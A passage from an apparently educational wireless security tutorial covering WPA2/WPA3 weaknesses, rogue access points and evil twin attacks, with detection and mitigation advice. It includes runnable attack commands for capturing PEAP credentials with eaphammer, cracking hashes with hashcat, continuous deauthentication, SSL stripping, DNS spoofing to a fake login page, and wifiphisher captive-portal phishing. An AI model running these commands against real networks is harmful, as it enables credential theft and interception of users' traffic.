&lt;span class="nb"&gt;sudo &lt;/span&gt;eaphammer &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--interface&lt;/span&gt; wlan0mon &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--channel&lt;/span&gt; 6 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--ssid&lt;/span&gt; &lt;span class="s2"&gt;"CorporateWiFi"&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;        &lt;span class="c"&gt;# Target SSID&lt;/span&gt;
    &lt;span class="nt"&gt;--auth&lt;/span&gt; peap &lt;span class="se"&gt;\ &lt;/span&gt;                   &lt;span class="c"&gt;# EAP type&lt;/span&gt;
    &lt;span class="nt"&gt;--creds&lt;/span&gt;                          &lt;span class="c"&gt;# Capture credentials mode&lt;/span&gt;
&lt;span class="c"&gt;# Eaphammer creates rogue AP + RADIUS server&lt;/span&gt;
&lt;span class="c"&gt;# Captures PEAP credentials from connecting clients&lt;/span&gt;
&lt;span class="c"&gt;# Outputs NetNTLMv1/v2 hashes crackable with hashcat&lt;/span&gt;

&lt;span class="c"&gt;# Crack captured MSCHAPv2:&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 5500 captured_hashes.txt wordlist.txt   &lt;span class="c"&gt;# NetNTLMv1&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 5600 captured_hashes.txt wordlist.txt   &lt;span class="c"&gt;# NetNTLMv2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; WPA2-PSK security is entirely dependent on password strength. The PMKID attack means an attacker can start cracking without waiting for a client — just the AP is sufficient. A common 8-character password from rockyou.txt falls in seconds on a GPU. The only defence is a password that will not appear in any wordlist: 25+ random characters or a true random passphrase. WPA3 eliminates this offline attack entirely.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  7. WPA3 — The Modern Standard
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 WPA3 Key Improvements
&lt;/h3&gt;

&lt;p&gt;WPA3 (released 2018, Wi-Fi Alliance certification began 2018) addresses the fundamental weaknesses of WPA2.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SAE — Simultaneous Authentication of Equals (Dragonfly Handshake):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WPA2 Problem:
  PMK derived from password + SSID using PBKDF2
  PMK deterministic from password → offline dictionary attack
  Attacker needs: captured handshake + password guesses → verify offline

WPA3 Solution — SAE (RFC 7664):
  Based on Diffie-Hellman key exchange
  Password is used to derive a point on an elliptic curve (or DH group)
  Both parties engage in a commit-confirm exchange
  Session key derived from DH exchange → perfect forward secrecy

  Key property: password NOT directly verifiable without LIVE interaction with the network
  → No offline dictionary attack possible (attacker must interact with real AP for each guess)
  → Forward secrecy: old traffic cannot be decrypted even if password later compromised

WPA3 Authentication:
  Commit phase:
    Both parties send: scalar + element (derived from password + random value)
    AP: compute from (password, random R_AP)
    Client: compute from (password, random R_Client)

  Confirm phase:
    Both verify each other's commitment
    If password correct: derive shared session key

  Why offline cracking fails:
    Each handshake uses different random values
    Without knowing both random values (one is secret), PMK cannot be recovered
    Each guess requires live interaction with AP (rate-limited)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;WPA3-Personal vs WPA3-Enterprise:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WPA3-Personal:
  Replaces WPA2-PSK
  Uses SAE instead of 4-way handshake password verification
  Still uses pre-shared password (human-memorable)
  Eliminates offline dictionary attacks

WPA3-Enterprise:
  192-bit security mode (optional but available)
  Requires 192-bit AES-256-GCMP for data encryption
  Requires ECDSA-384 for certificates
  Requires SHA-384 for HMAC
  Designed for government, financial, critical infrastructure

WPA3-Enterprise vs WPA2-Enterprise:
  WPA2-Enterprise: 128-bit AES (CCMP), SHA-1 HMAC
  WPA3-Enterprise 192-bit: 256-bit AES, SHA-384 HMAC → much stronger
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.2 WPA3 Transition Mode and Its Risks
&lt;/h3&gt;

&lt;p&gt;Most WPA3 deployments use "Transition Mode" — supporting both WPA3 and WPA2 simultaneously for backward compatibility.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WPA3 Transition Mode:
  AP broadcasts support for both WPA3-SAE and WPA2-PSK
  WPA3 clients: use SAE → strong
  WPA2 clients: use PSK → potentially vulnerable

Downgrade Attack:
  Attacker broadcasts rogue AP with same SSID announcing WPA2 only
  WPA3-capable client may downgrade to WPA2 to connect
  WPA2 connection → vulnerable to PMKID/handshake capture

Dragonblood Vulnerabilities (Mathy Vanhoef, 2019):
  Side-channel attacks against SAE implementation:

  CVE-2019-9494 (Cache Side-Channel):
    WPA3's SAE implementation used non-constant-time operations
    Cache access patterns revealed information about the password
    Allowed offline dictionary attack on some implementations

  CVE-2019-9496 (Confirm Forgery):
    SAE confirm frame could be forged to bypass authentication in some implementations

  CVE-2019-13377 (Side-Channel, Brainpool Curves):
    New attack path via timing differences

  All patched in subsequent WPA3 implementations
  Lesson: even new standards have implementation vulnerabilities
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check WPA3 support:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng wlan0mon | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"WPA3|SAE"&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iw dev wlan0 scan | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"SAE|WPA3|OWE"&lt;/span&gt;

&lt;span class="c"&gt;# OWE — Opportunistic Wireless Encryption (WPA3 feature):&lt;/span&gt;
&lt;span class="c"&gt;# Open networks (coffee shops, hotels) typically have NO encryption&lt;/span&gt;
&lt;span class="c"&gt;# OWE provides encryption without authentication (no password)&lt;/span&gt;
&lt;span class="c"&gt;# Each client gets unique encryption key via DH&lt;/span&gt;
&lt;span class="c"&gt;# Prevents passive eavesdropping on open networks (but not MITM)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iw dev wlan0 scan | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"OWE"&lt;/span&gt;

&lt;span class="c"&gt;# Test SAE vs PSK connection:&lt;/span&gt;
&lt;span class="c"&gt;# Check wpa_supplicant configuration:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/wpa_supplicant/wpa_supplicant.conf
&lt;span class="c"&gt;# key_mgmt=SAE  → WPA3&lt;/span&gt;
&lt;span class="c"&gt;# key_mgmt=WPA-PSK  → WPA2&lt;/span&gt;
&lt;span class="c"&gt;# key_mgmt=SAE WPA-PSK  → Transition mode&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; WPA3's SAE eliminates offline dictionary attacks — the primary attack against WPA2-PSK. However, WPA3 Transition Mode (running WPA2 and WPA3 simultaneously) reintroduces downgrade attack risk. Networks that must support legacy WPA2 clients cannot fully benefit from WPA3's protection. The complete solution requires WPA3-only networks for sensitive environments, accepting that legacy devices will not connect.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. Rogue Access Point
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 What Is a Rogue Access Point
&lt;/h3&gt;

&lt;p&gt;A rogue access point (rogue AP) is any wireless access point connected to a network without authorisation. The term covers:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Malicious Rogue:&lt;/strong&gt; Deliberately installed by an attacker to gain network access&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Accidental Rogue:&lt;/strong&gt; Employee plugs in home router to get better WiFi — unintentionally creates security vulnerability&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Misconfigured Rogue:&lt;/strong&gt; AP configured incorrectly (wrong VLAN, wrong security settings)
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Rogue AP Attack Scenarios:

Scenario 1: Physical Access + Rogue AP Deployment
  Attacker enters building (social engineering, tailgating)
  Plugs rogue AP into Ethernet port
  Rogue AP connects to corporate network
  Attacker controls rogue AP remotely via internet or cellular
  Has persistent LAN access without maintaining physical presence

Scenario 2: Rogue AP for Wireless Eavesdropping
  Rogue AP placed near sensitive area
  Configured to capture all wireless traffic
  Passive monitoring of unencrypted wireless devices

Scenario 3: Accidental Rogue by Employee
  Employee frustrated with weak WiFi signal
  Brings personal router from home
  Plugs into corporate Ethernet
  Router broadcasts open SSID "HomeNetwork"
  Corporate network now accessible without authentication from parking lot

Scenario 4: OT Environment Rogue
  Vendor technician needs wireless access for laptop
  Connects a portable WiFi router to OT network port "just for the service visit"
  Forgets to remove it
  OT network now has undocumented wireless access point
  May remain undiscovered for months or years
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.2 Setting Up a Rogue AP
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Creating a rogue AP on Linux (educational — authorised testing only):&lt;/span&gt;

&lt;span class="c"&gt;# Required: wireless adapter capable of AP mode&lt;/span&gt;
iw list | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"AP"&lt;/span&gt;                  &lt;span class="c"&gt;# Check if adapter supports AP mode&lt;/span&gt;

&lt;span class="c"&gt;# Method 1: hostapd (most flexible)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/rogue_ap.conf &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
interface=wlan0
driver=nl80211
ssid=CorpWiFi                        # Same SSID as target network
hw_mode=g                            # 802.11g (2.4 GHz)
channel=6
macaddr_acl=0                        # Accept all MACs
ignore_broadcast_ssid=0              # Broadcast SSID
auth_algs=1                          # Open authentication
wpa=2                                # Enable WPA2
wpa_passphrase=Password123           # WPA2 password (for legitimate rogue)
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;hostapd /tmp/rogue_ap.conf

&lt;span class="c"&gt;# Add DHCP server for connecting clients:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;dnsmasq
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/dnsmasq.conf &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
interface=wlan0
dhcp-range=192.168.99.2,192.168.99.254,12h
dhcp-option=3,192.168.99.1          # Gateway
dhcp-option=6,8.8.8.8,8.8.4.4     # DNS
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;ip addr add 192.168.99.1/24 dev wlan0
&lt;span class="nb"&gt;sudo &lt;/span&gt;dnsmasq &lt;span class="nt"&gt;-C&lt;/span&gt; /tmp/dnsmasq.conf

&lt;span class="c"&gt;# Enable routing (if connecting clients to internet):&lt;/span&gt;
&lt;span class="nb"&gt;echo &lt;/span&gt;1 | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; /proc/sys/net/ipv4/ip_forward
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-t&lt;/span&gt; nat &lt;span class="nt"&gt;-A&lt;/span&gt; POSTROUTING &lt;span class="nt"&gt;-o&lt;/span&gt; eth0 &lt;span class="nt"&gt;-j&lt;/span&gt; MASQUERADE

&lt;span class="c"&gt;# Method 2: create_ap (wrapper tool, simpler):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;create_ap
&lt;span class="nb"&gt;sudo &lt;/span&gt;create_ap wlan0 eth0 &lt;span class="s2"&gt;"CorpWiFi"&lt;/span&gt; &lt;span class="s2"&gt;"Password123"&lt;/span&gt;
&lt;span class="c"&gt;# wlan0: wireless interface for AP&lt;/span&gt;
&lt;span class="c"&gt;# eth0: interface to share internet from&lt;/span&gt;
&lt;span class="c"&gt;# "CorpWiFi": SSID&lt;/span&gt;
&lt;span class="c"&gt;# "Password123": password&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.3 Rogue AP Detection
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# WIDS (Wireless Intrusion Detection System) approach:&lt;/span&gt;
&lt;span class="c"&gt;# Monitor all APs and compare against authorised AP list&lt;/span&gt;

&lt;span class="c"&gt;# Manual detection with airodump-ng:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng wlan0mon &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/ap_survey.txt

&lt;span class="c"&gt;# Python-based rogue detection:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/detect_rogue.py &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/usr/bin/env python3
"""
Rogue AP Detector — compares seen APs against authorised list
"""
import subprocess, re

# Authorised APs: (ESSID, BSSID) pairs
AUTHORISED = {
    ("CorpWiFi", "AA:BB:CC:DD:EE:FF"),
    ("CorpWiFi", "AA:BB:CC:DD:EE:10"),  # Second AP, same SSID
    ("CorpGuest", "AA:BB:CC:DD:EE:20"),
}

CORPORATE_SSIDS = {"CorpWiFi", "CorpGuest", "CorpIoT"}

# Scan for APs (simplified — in production, use continuous monitoring)
result = subprocess.run(
    ["sudo", "iw", "dev", "wlan0", "scan"],
    capture_output=True, text=True
)

current_ap = {}
for line in result.stdout.split('&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;'):
    if 'BSS ' in line:
        if current_ap and current_ap.get('SSID'):
            ap = (current_ap['SSID'], current_ap['BSSID'])

            # Check if SSID matches corporate but BSSID not authorised
            if current_ap['SSID'] in CORPORATE_SSIDS and ap not in AUTHORISED:
                print(f"[ALERT] ROGUE AP DETECTED:")
                print(f"  SSID: {current_ap['SSID']}")
                print(f"  BSSID: {current_ap['BSSID']}")
                print(f"  Signal: {current_ap.get('signal', 'unknown')}")

        match = re.search(r'BSS ([0-9a-f:]{17})', line)
        current_ap = {'BSSID': match.group(1) if match else 'unknown'}

    elif 'SSID: ' in line:
        current_ap['SSID'] = line.strip().replace('SSID: ', '')
    elif 'signal: ' in line:
        current_ap['signal'] = line.strip()
&lt;/span&gt;&lt;span class="no"&gt;
EOF
&lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;python3 /tmp/detect_rogue.py

&lt;span class="c"&gt;# Enterprise WIDS tools:&lt;/span&gt;
&lt;span class="c"&gt;# Cisco Adaptive Wireless IPS (aWIPS) — built into Cisco infrastructure&lt;/span&gt;
&lt;span class="c"&gt;# Aruba RFProtect — built into Aruba APs&lt;/span&gt;
&lt;span class="c"&gt;# Zebra AirDefense — dedicated WIDS&lt;/span&gt;
&lt;span class="c"&gt;# Kismet — open source passive WIDS&lt;/span&gt;
&lt;span class="c"&gt;# Snort wireless rules — detect injection and rogue APs&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;802.1X as Rogue AP Prevention:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Problem: Employee plugs rogue AP into network port
Solution: 802.1X port authentication on switches

Without 802.1X:
  Employee plugs rogue AP in → gets DHCP → has network access

With 802.1X:
  Employee plugs rogue AP in → switch port in unauthenticated state
  Rogue AP cannot authenticate (no 802.1X supplicant configured)
  Switch keeps port blocked → rogue AP has no network access

Limitation:
  If rogue AP's uplink port is configured as trunk/bypass:
  802.1X may not apply to all traffic
  Bridge mode rogue AP may pass 802.1X frames through
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The most dangerous rogue access points are the ones never detected — accidentally deployed by well-meaning employees who just wanted better WiFi. 802.1X on all switch ports, combined with continuous wireless monitoring, is the only reliable defence. Every unmonitored Ethernet port in a building is a potential rogue AP deployment point. In OT environments, an undiscovered rogue AP can persist for years — the average OT security incident has a 6+ month dwell time.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  9. Evil Twin Attack
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 Evil Twin Architecture
&lt;/h3&gt;

&lt;p&gt;An evil twin attack creates a near-identical copy of a legitimate wireless network, with the attacker positioned between clients and the real network (or internet). Unlike a simple rogue AP, an evil twin specifically targets clients of a known network.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;LEGITIMATE NETWORK:
  Client → [Corporate AP] → Corporate Network

EVIL TWIN ATTACK:
  Client → [Evil Twin AP] → Attacker → [Internet or Corporate Network]
                                ↑
                        Man-in-the-Middle:
                        Can read, modify, inject traffic
                        SSL strip, credential capture,
                        malware injection, traffic recording

Evil Twin Properties:
  Same SSID as legitimate network
  BSSID: spoofed to match legitimate AP (or different — doesn't matter for auto-connect)
  Signal: typically stronger than legitimate AP (attacker close to client)
  Security: same (WPA2 with same SSID) or open (for credential capture)
  DHCP: provides addresses, positions attacker as default gateway
  DNS: serves controlled DNS (enables phishing, content injection)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.2 Evil Twin Attack — Complete Implementation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Evil Twin with Bettercap (modern, comprehensive):&lt;/span&gt;

&lt;span class="c"&gt;# Step 1: Set up monitor mode&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airmon-ng check &lt;span class="nb"&gt;kill
sudo &lt;/span&gt;airmon-ng start wlan0

&lt;span class="c"&gt;# Step 2: Identify target network&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng wlan0mon
&lt;span class="c"&gt;# Note SSID, BSSID, channel, security type&lt;/span&gt;

&lt;span class="c"&gt;# Step 3: Run Bettercap evil twin:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;bettercap &lt;span class="nt"&gt;-iface&lt;/span&gt; wlan0mon

&lt;span class="c"&gt;# In Bettercap console:&lt;/span&gt;
&lt;span class="c"&gt;# wifi.recon on                    # Start scanning&lt;/span&gt;
&lt;span class="c"&gt;# wifi.show                        # Show discovered networks&lt;/span&gt;
&lt;span class="c"&gt;# set wifi.ap.ssid "CorpWiFi"     # Set evil twin SSID&lt;/span&gt;
&lt;span class="c"&gt;# set wifi.ap.bssid aa:bb:cc:dd:ee:ff  # Spoof legitimate AP's BSSID&lt;/span&gt;
&lt;span class="c"&gt;# set wifi.ap.channel 6           # Same channel as legitimate AP&lt;/span&gt;
&lt;span class="c"&gt;# wifi.ap on                      # Start evil twin AP&lt;/span&gt;
&lt;span class="c"&gt;# set arp.spoof.targets 192.168.0.0/24&lt;/span&gt;
&lt;span class="c"&gt;# arp.spoof on                    # MITM connected clients&lt;/span&gt;
&lt;span class="c"&gt;# net.sniff on                    # Capture traffic&lt;/span&gt;

&lt;span class="c"&gt;# Step 4: Force clients off legitimate AP:&lt;/span&gt;
&lt;span class="c"&gt;# (While evil twin is running)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;aireplay-ng &lt;span class="nt"&gt;--deauth&lt;/span&gt; 0 &lt;span class="nt"&gt;-a&lt;/span&gt; LEGITIMATE_AP_BSSID wlan0mon
&lt;span class="c"&gt;# Continuous deauth → clients constantly disconnected from legitimate AP&lt;/span&gt;
&lt;span class="c"&gt;# Clients scan for known network → find evil twin (stronger signal, same SSID)&lt;/span&gt;
&lt;span class="c"&gt;# Clients connect to evil twin&lt;/span&gt;

&lt;span class="c"&gt;# Step 5: Capture credentials from connected clients:&lt;/span&gt;

&lt;span class="c"&gt;# HTTP credentials — plaintext:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;bettercap &lt;span class="nt"&gt;-iface&lt;/span&gt; wlan0
&lt;span class="c"&gt;# net.sniff on&lt;/span&gt;
&lt;span class="c"&gt;# Captures all HTTP forms with credentials&lt;/span&gt;

&lt;span class="c"&gt;# SSL Strip — downgrade HTTPS to HTTP:&lt;/span&gt;
&lt;span class="c"&gt;# set https.proxy.sslstrip true&lt;/span&gt;
&lt;span class="c"&gt;# https.proxy on&lt;/span&gt;
&lt;span class="c"&gt;# (Note: HSTS-preloaded sites resist SSL strip)&lt;/span&gt;

&lt;span class="c"&gt;# DNS spoofing — redirect to phishing pages:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/dns_spoof.yml &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
- host: "corporate-sso.company.com"
  address: "192.168.99.1"         # Attacker's IP running fake login
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;span class="c"&gt;# set dns.spoof.hosts /tmp/dns_spoof.yml&lt;/span&gt;
&lt;span class="c"&gt;# dns.spoof on&lt;/span&gt;

&lt;span class="c"&gt;# With FluxionFramework (comprehensive evil twin attack tool):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;fluxion 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    git clone https://github.com/FluxionNetwork/fluxion.git /opt/fluxion
&lt;span class="c"&gt;# cd /opt/fluxion &amp;amp;&amp;amp; sudo ./fluxion.sh&lt;/span&gt;
&lt;span class="c"&gt;# Provides: AP selection, deauth, captive portal for credential capture&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.3 WPA2 Credential Capture via Evil Twin
&lt;/h3&gt;

&lt;p&gt;A specific, highly effective variant captures WPA2 handshakes through the evil twin and tricks users into entering the real password via a captive portal.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WPA2 Evil Twin Attack Flow:

1. Attacker captures WPA2 4-way handshake from legitimate AP
2. Evil twin AP set up on different channel, deauth attacks legitimate AP
3. Client connects to evil twin (same SSID)
4. Evil twin shows captive portal: "Your session expired. Enter WiFi password to continue."
5. User enters real password (it's the normal login page, it looks real)
6. Attacker tests entered password against captured handshake
7. If match: password confirmed and obtained
8. Evil twin shows "reconnecting..." while dropping client back to legitimate network
9. User believes it was a normal reconnection

Tools: Fluxion, wifiphisher
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Wifiphisher — automated evil twin with social engineering:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;wifiphisher 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    git clone https://github.com/wifiphisher/wifiphisher.git /opt/wifiphisher

&lt;span class="nb"&gt;sudo &lt;/span&gt;python3 /opt/wifiphisher/bin/wifiphisher &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-aI&lt;/span&gt; wlan0 &lt;span class="se"&gt;\ &lt;/span&gt;                    &lt;span class="c"&gt;# Interface for evil twin&lt;/span&gt;
    &lt;span class="nt"&gt;-jI&lt;/span&gt; wlan1 &lt;span class="se"&gt;\ &lt;/span&gt;                    &lt;span class="c"&gt;# Interface for jamming/deauth&lt;/span&gt;
    &lt;span class="nt"&gt;-p&lt;/span&gt; firmware-upgrade &lt;span class="se"&gt;\ &lt;/span&gt;          &lt;span class="c"&gt;# Phishing scenario (firmware upgrade page)&lt;/span&gt;
    &lt;span class="nt"&gt;--essid&lt;/span&gt; &lt;span class="s2"&gt;"CorpWiFi"&lt;/span&gt;             &lt;span class="c"&gt;# Target SSID&lt;/span&gt;

&lt;span class="c"&gt;# Phishing scenarios available in wifiphisher:&lt;/span&gt;
&lt;span class="c"&gt;# firmware-upgrade: "Router firmware is updating, enter WiFi password"&lt;/span&gt;
&lt;span class="c"&gt;# oauth-login: Fake OAuth screen for Google/Facebook login&lt;/span&gt;
&lt;span class="c"&gt;# wifi_connect: "Enter WiFi password to continue"&lt;/span&gt;
&lt;span class="c"&gt;# browser_plugin_update: Fake browser plugin update&lt;/span&gt;

&lt;span class="c"&gt;# Detection of evil twin attacks:&lt;/span&gt;
&lt;span class="c"&gt;# 1. Multiple APs with same SSID on different channels (legitimate = one channel)&lt;/span&gt;
&lt;span class="c"&gt;# 2. AP with same SSID but different BSSID from authorised list&lt;/span&gt;
&lt;span class="c"&gt;# 3. Client deauthentications without legitimate reason&lt;/span&gt;
&lt;span class="c"&gt;# 4. DNS queries being answered by unexpected IPs&lt;/span&gt;
&lt;span class="c"&gt;# 5. Certificate warnings on normally HTTPS-only sites (SSL stripping)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.4 Evil Twin Detection and Mitigation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Client-side detection:&lt;/span&gt;
&lt;span class="c"&gt;# Check for unexpected SSL certificate changes:&lt;/span&gt;
&lt;span class="c"&gt;# Expected: cert from company CA&lt;/span&gt;
&lt;span class="c"&gt;# Evil twin SSL strip: no cert (HTTP)&lt;/span&gt;
&lt;span class="c"&gt;# Evil twin with fake cert: different CA, invalid cert&lt;/span&gt;

&lt;span class="c"&gt;# Enterprise WIDS detection:&lt;/span&gt;
&lt;span class="c"&gt;# - Multiple APs advertising same SSID on same channel (normal = one)&lt;/span&gt;
&lt;span class="c"&gt;# - SSID appears on unauthorised BSSID&lt;/span&gt;
&lt;span class="c"&gt;# - Deauthentication flood from non-AP addresses&lt;/span&gt;
&lt;span class="c"&gt;# - Client associations changing rapidly between similar BSSIDs&lt;/span&gt;

&lt;span class="c"&gt;# Monitor for evil twin with airodump-ng:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng wlan0mon &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/survey.txt
&lt;span class="c"&gt;# Look for same SSID appearing with different BSSID or on wrong channel&lt;/span&gt;

&lt;span class="c"&gt;# Corporate mitigation:&lt;/span&gt;
&lt;span class="c"&gt;# 1. 802.1X enterprise authentication:&lt;/span&gt;
&lt;span class="c"&gt;#    Evil twin cannot replicate RADIUS — clients see certificate error → don't connect&lt;/span&gt;
&lt;span class="c"&gt;# 2. Certificate pinning in corporate apps:&lt;/span&gt;
&lt;span class="c"&gt;#    Apps reject connections through MITM even if SSID/credentials are valid&lt;/span&gt;
&lt;span class="c"&gt;# 3. VPN kill switch:&lt;/span&gt;
&lt;span class="c"&gt;#    All traffic through corporate VPN → evil twin MITM only sees VPN traffic&lt;/span&gt;
&lt;span class="c"&gt;# 4. HSTS preloading:&lt;/span&gt;
&lt;span class="c"&gt;#    Browsers never downgrade HTTPS for preloaded domains → SSL strip fails&lt;/span&gt;
&lt;span class="c"&gt;# 5. Wireless IDS with automated alerts&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
